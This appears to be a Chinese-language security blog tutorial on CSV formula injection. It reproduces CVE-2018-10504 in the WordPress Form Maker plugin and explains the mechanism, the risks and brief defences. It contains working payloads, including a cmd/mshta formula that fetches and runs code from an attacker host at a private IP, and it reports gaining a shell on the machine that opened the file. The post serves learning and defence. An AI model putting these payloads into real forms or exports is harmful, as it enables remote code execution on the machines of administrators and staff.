背景
某天在逛expdb時候看到了CSV Injection的exp,在滲透測試的過程中也偶爾會遇到類似的情況,這一漏洞很早之前就出現過,但是很多人沒有意識到漏洞的危害性,於是抱着學習的心態進行了一波漏洞復現和學習。
漏洞介紹
CSV公式注入(CSV Injection)是一種會造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV文件讀取的參數。當在Excel中打開CSV文件時,文件會從CSV描述轉變為原始的Excel格式,包括Excel提供的所有動態功能。在這個過程中,CSV中的所有Excel公式都會執行。當該函數有合法意圖時,很易被濫用並允許惡意代碼執行。
漏洞原理
人們通常認為CSV或xls文件中包含的文本不會有任何安全風險,這是比較大的一個誤區。首先我們創建一個Excel文件,將其中一格內容修改為=36+1
保存之后看到如下結果,公式正常計算:
雖然單元格的內容在引號內,但由於第一個字符是=,它以一個表達式的形式被處理,實際上包括 = - + @這樣的符號都會觸發這種行為,正常來說,如果數據量比較大的情況下,管理員一般不會花那么多時間去一個個檢查輸入內容是否正常。(emmm正常人可能都不會這么干)
由於表達式就是可以執行的代碼,所以假如我們把輸入內容修改為:
=1+cmd|' /C calc'!A0
之后點擊保存,然后再次打開,會看到如下提示:
點擊 是 之后,彈出計算器:
漏洞危害
這類漏洞通常不會針對於專業的網絡安全人員,畢竟是個搞安全的都知道cmd不要隨便啟用,但是對於大部分人來說,尤其是正常的企業員工,往往會忽視問題的嚴重性,可能隨手就點了個是,因此這類漏洞一種利用方式可以用於釣魚,另一種也和釣魚類似,需要網站后台存在導出excel功能,攻擊者通過污染數據,當管理員或者其他用戶需要用到導出excel功能時,被污染的數據被一起導出,當打開該文件時並且忽略告警提示點了是,一起完美的攻擊就完成了。
漏洞復現
漏洞復現采用了CVE-2018-10504,也就是wordpress的Form Maker 插件的csv注入漏洞。PoC可參考:
https://www.exploit-db.com/exploits/44559
首先下載安裝該插件:
安裝后在功能欄就能看到:
我們這邊用有兩個用戶admin和sunshine:
登錄sunshine用戶,使用Form Maker提交如下信息:
+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0
后台可以看到數據已經被污染了:
admin用戶登錄,打開Form Maker –Submissions – Contact US – Export to CSV
打開會有這樣的安全提示:
默認啟用和點擊是之后就能看到機器上線了:
漏洞防護
對於網站來說,比較合理的防御方式是對輸入輸出特殊字符進行編碼;對於平時常規文件的傳遞中,只能盡量為員工做好相關的安全意識培訓來做相關的防范。